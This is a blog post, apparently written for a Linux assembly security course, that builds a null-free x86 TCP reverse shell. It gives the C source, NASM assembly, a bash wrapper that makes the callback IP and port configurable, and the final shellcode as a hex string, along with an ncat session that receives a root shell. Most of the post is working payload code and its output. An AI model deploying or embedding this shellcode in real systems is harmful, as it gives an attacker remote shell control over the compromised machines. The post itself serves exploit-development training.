SLAE Assignment 2 - TCP Reverse Shellcode
19 Apr 2017
Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Hello everybody,
So here we are for the second part of our shellcodes serie. Today we will deal with a reverse TCP shellcode.
This shellcode will be pretty similar to the bind one, except that we will connect back to the attacker’s machine in order to provide a shell on the compromised one.
So let’s see what changed.
Assignment 2:
Code is available on my github repo.
Our Goal:
Create a Shell_Reverse_TCP shellcode:
- reverse connects to IP and PORT and spawns a shell
- easily configurable IP and PORT
Here is the C source code we used:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(void)
{
int clientfd, sockfd, ret;
int dstport = 8080;
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET; //2
mysockaddr.sin_port = htons(dstport); //8080
mysockaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); //localhost
// connecting to attacker's machine
ret = connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(struct sockaddr_in));
if(ret == -1)
{
perror("Attacker's machine is not listening. Quitting!");
exit(-1);
}
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("/bin/sh", NULL, NULL);
return 0;
}
Let’s listen on port 8080:
ncat -klvp 8080
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Let’s connect:
# gcc -fno-stack-protector -z execstack -o shell_reverse_tcp shell_reverse_tcp.c && ./shell_reverse_tcp
And we have:
ncat -klvp 8080
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:38488.
id
uid=0(root) gid=0(root) groups=0(root)
So what are the interesting functions:
objdump -d ./shell_reverse_tcp -M intel
...
80485d2: e8 79 fe ff ff call 8048450 <connect@plt>
...
So we have:
socket
connect
dup2
execve
Let’s update our previous shellcode to match our new needs:
; shell_bind_tcp.nasm
;
; A TCP port bind shellcode
;
; Author: SLAE - 891
;
; You are free to use and/or redistribute it without restriction
global _start
section .text
_start:
; sockfd = socket(AF_INET, SOCK_STREAM, 0);
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall 102
; #define SYS_SOCKET 1
xor ebx,ebx
mul ebx ; zero out eax and edx
mov al, 102 ; __NR_socketcall
mov bl, 1 ; SYS_SOCKET
; we are pushing on the stack our arguments
push edx ; IPPROTO_IP
push byte 1 ; SOCK_STREAM
push byte 2 ; AF_INET
mov ecx, esp ; the top of the stack points to a structure of 3 arguments
int 0x80 ; syscall - result is stored in eax
mov edi, eax ; stores sockfd
; ret = connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(struct sockaddr_in));
; int socketcall(int call, unsigned long *args);
; #define __NR_socketcall 102
; #define SYS_CONNECT 3
push edx
mov byte [esp], 0x7f ; mysockaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); //localhost
mov byte [esp+3], 0x01 ; useful to avoid null bytes in the IP address
push word 0x901f ; mysockaddr.sin_port = htons(dstport); //8080
push word 2 ; AF_INET
mov ebx, esp ; stores the address of mysockaddr
push byte 16 ; length of mysockaddr
push ebx ; pointer to mysockaddr
push edi ; sockfd
xor ebx, ebx ; flushing registers
mul ebx
mov al, 102 ; __NR_socketcall
mov bl, 3 ; SYS_CONNECT
mov ecx, esp ; pointer to the args for socketcall
int 0x80
; int dup2(int oldfd, int newfd); duplicates a file descriptor
; dup2(sockfd, 0);
; dup2(sockfd, 1);
; dup2(sockfd, 2);
; #define __NR_dup2 63
mov ebx, edi ; sockfd as first argument
xor ecx, ecx
mov cl, 2 ; 2 for stderr / 1 for stdout / 0 for stdin
xor eax, eax
dup2:
mov al, 63 ; __NR_dup2
int 0x80
dec ecx
jns dup2 ; jump short if not signed
; execve("/bin/sh", NULL, NULL);
; #define __NR_execve 11
xor eax,eax
push eax
push 0x68732f2f ; hs// - take care to the little endian representation
push 0x6e69622f ; nib/
mov ebx, esp ; pointer to command string
mov ecx, eax
mov edx, eax
mov al, 11 ; __NR_execve
int 0x80
Let’s compile, run and see if we are receiving our connection back:
Perfect, and what about the bad characters:
objdump -d ./shell_reverse_tcp -M intel| grep 00
Nothing, good. Let’s update our wrapper.sh script and create our shell_reverse_tcp.template file. Please click and check the sources on Github.
The wrapper.sh and the template file have been enhanced in order to avoid null bytes in port number and IP address:
#! /bin/bash
#####################################
# Displays help
#####################################
function help(){
echo "Usage: $0 <ip> <port_number> <file>"
exit 1
}
#####################################
# Checking is root
#####################################
if [ $# -ne 3 ]; then
help
fi
IP=$1
PORT=$2
FILE=$3
##############################
# Checking the port number
##############################
if [ ${PORT} -lt 1 ] || [ ${PORT} -gt 65535 ]; then
echo "[*] Port number should be between 1 and 65535! Exiting..."
exit
fi
# Converting port in hex and little endian representation
HEXFMTPORT=`printf "%04x" ${PORT}`
HEXFMTPORT1=$([ $((16#${HEXFMTPORT:0:2})) -ne 0 ] && echo 0x${HEXFMTPORT:0:2} || echo dl)
HEXFMTPORT2=$([ $((16#${HEXFMTPORT: -2})) -ne 0 ] && echo 0x${HEXFMTPORT: -2} || echo dl)
# final nasm filename
NASM_FILENAME=${FILE%.*}.nasm
########################
# Splitting IP address
########################
IP1=`echo ${IP} | cut -d. -f1`
IP2=`echo ${IP} | cut -d. -f2`
IP3=`echo ${IP} | cut -d. -f3`
IP4=`echo ${IP} | cut -d. -f4`
# Converting IP in hex and little endian representation
HEXFMTIP1=$([ ${IP1} -ne 0 ] && echo `printf "0x%x" ${IP1}` || echo dl)
HEXFMTIP2=$([ ${IP2} -ne 0 ] && echo `printf "0x%x" ${IP2}` || echo dl)
HEXFMTIP3=$([ ${IP3} -ne 0 ] && echo `printf "0x%x" ${IP3}` || echo dl)
HEXFMTIP4=$([ ${IP4} -ne 0 ] && echo `printf "0x%x" ${IP4}` || echo dl)
# for debugging purpose
echo "----------------------------"
echo "[*] HEXFMTPORT:${HEXFMTPORT}"
echo "[*] HEXFMTPORT1:${HEXFMTPORT1}"
echo "[*] HEXFMTPORT2:${HEXFMTPORT2}"
echo "[*] HEXFMTIP1:${HEXFMTIP1}"
echo "[*] HEXFMTIP2:${HEXFMTIP2}"
echo "[*] HEXFMTIP3:${HEXFMTIP3}"
echo "[*] HEXFMTIP4:${HEXFMTIP4}"
echo "----------------------------"
echo
# Replacing port and ip patterns
# Generating a new file source and compiling
sed "s/PORT1/${HEXFMTPORT1}/" ${FILE} > ${NASM_FILENAME} && \
sed -i "s/PORT2/${HEXFMTPORT2}/" ${NASM_FILENAME} && \
sed -i "s/IP1/${HEXFMTIP1}/" ${NASM_FILENAME} && \
sed -i "s/IP2/${HEXFMTIP2}/" ${NASM_FILENAME} && \
sed -i "s/IP3/${HEXFMTIP3}/" ${NASM_FILENAME} && \
sed -i "s/IP4/${HEXFMTIP4}/" ${NASM_FILENAME} && \
./compile.sh ${FILE%.*} && \
objdump -d ${FILE%.*}|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Trying with a port (2048 = 0x0800) and IP (127.0.0.1) which are generating some null bytes provides the following:
./wrapper.sh 127.0.0.1 2048 ./shell_reverse_tcp.template
----------------------------
[*] HEXFMTPORT:0800
[*] HEXFMTPORT1:0x08
[*] HEXFMTPORT2:dl
[*] HEXFMTIP1:0x7f
[*] HEXFMTIP2:dl
[*] HEXFMTIP3:dl
[*] HEXFMTIP4:0x1
----------------------------
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\xc6\x04\x24\x7f\x88\x54\x24\x01\x88\x54\x24\x02\xc6\x44\x24\x03\x01\x66\x52\xc6\x04\x24\x08\x88\x54\x24\x01\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x89\xfb\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
Here is the interesting part in our template:
...
push edx
mov byte [esp], IP1 ; useful to avoid null bytes with parametrized IP
mov byte [esp+1], IP2 ; If 00 will be replaced by dl
mov byte [esp+2], IP3
mov byte [esp+3], IP4
push dx ; useful to avoid null bytes with parametrized port
mov byte [esp], PORT1 ; mysockaddr.sin_port = htons(dstport); //8080
mov byte [esp+1], PORT2
...
And have a look at the result shell_reverse_tcp.nasm file:
...
push edx
mov byte [esp], 0x7f ; useful to avoid null bytes with parametrized IP
mov byte [esp+1], dl ; If 00 will be replaced by dl
mov byte [esp+2], dl
mov byte [esp+3], 0x1
push dx ; useful to avoid null bytes with parametrized port
mov byte [esp], 0x08 ; mysockaddr.sin_port = htons(dstport); //8080
mov byte [esp+1], dl
...
We are pushing the dl byte register in replacement of a null byte.
So now let’s confirm that the generated nasm source file leads to a working shellcode once compiled thanks to shellcode.c:
# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c && ./shellcode
Shellcode Length: 106
And here we are:
So now we can parametrize the port number, the IP address, and you can generate a TCP reverse shellcode without any null bytes.
Hope you enjoyed,
Don’t hesitate to comment and share.